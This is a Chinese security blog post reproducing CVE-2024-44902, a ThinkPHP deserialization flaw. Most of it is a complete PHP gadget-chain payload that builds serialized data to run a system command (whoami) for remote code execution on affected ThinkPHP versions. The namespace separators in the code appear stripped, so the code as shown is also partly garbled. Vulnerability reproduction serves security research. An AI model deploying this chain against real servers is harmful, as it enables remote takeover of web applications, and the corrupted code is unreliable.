CVE-2024-44902 Thinkphp反序列化漏洞复现

admin 2024年10月28日13:23:48评论111 views字数 1276阅读4分15秒阅读模式

受影响版本:6.1.3<=thinkphp<=8.0.4

复现环境为phpstudy v8.1.1,php8.0.2,thinkphp8.0.4,memcached3.2.0

CVE-2024-44902 Thinkphp反序列化漏洞复现

查看php是否加载memcached扩展

CVE-2024-44902 Thinkphp反序列化漏洞复现

漏洞复现

1.向/app/controller/Inedx.php中添加一个反序列化入口

CVE-2024-44902 Thinkphp反序列化漏洞复现

因为该漏洞只提供一个反序列化链,实战利用中需要自行寻找反序列化入口。

2.payload

<?phpnamespace thinkcachedriver;use thinkmodelPivot;class Memcached{protected $options=[];function __construct(){$this->options["username"]=new Pivot();    }}namespace thinkmodel;use thinkmodel;class Pivot extends Model{}namespace think;abstract class Model{private $data = [];private $withAttr = [];protected $json = [];protected $jsonAssoc = true;function __construct(){$this->data["fru1ts"]=["C:WindowsSystem32whoami.exe"];$this->withAttr["fru1ts"]=["system"];$this->json=["fru1ts"];    }}namespace thinkroute;use thinkDbManager;class ResourceRegister{protected $registered = false;protected $resource;function __construct(){$this->registered=false;$this->resource=new DbManager();    }}namespace think;use thinkmodelPivot;class DbManager{protected $instance = [];protected $config = [];function __construct(){$this->config["connections"]=["getRule"=>["type"=>"\think\cache\driver\Memcached","username"=>new Pivot()]];$this->config["default"]="getRule";    }}use thinkrouteResourceRegister;$r=new ResourceRegister();echo urlencode(serialize($r));

利用该payload生成序列化数据

3. 使用payload反序列化进行rce,执行whoami命令

CVE-2024-44902 Thinkphp反序列化漏洞复现

CVE-2024-44902 Thinkphp反序列化漏洞复现

原文始发于微信公众号(sixone安全团队):CVE-2024-44902 Thinkphp反序列化漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日13:23:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-44902 Thinkphp反序列化漏洞复现https://cn-sec.com/archives/3321450.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息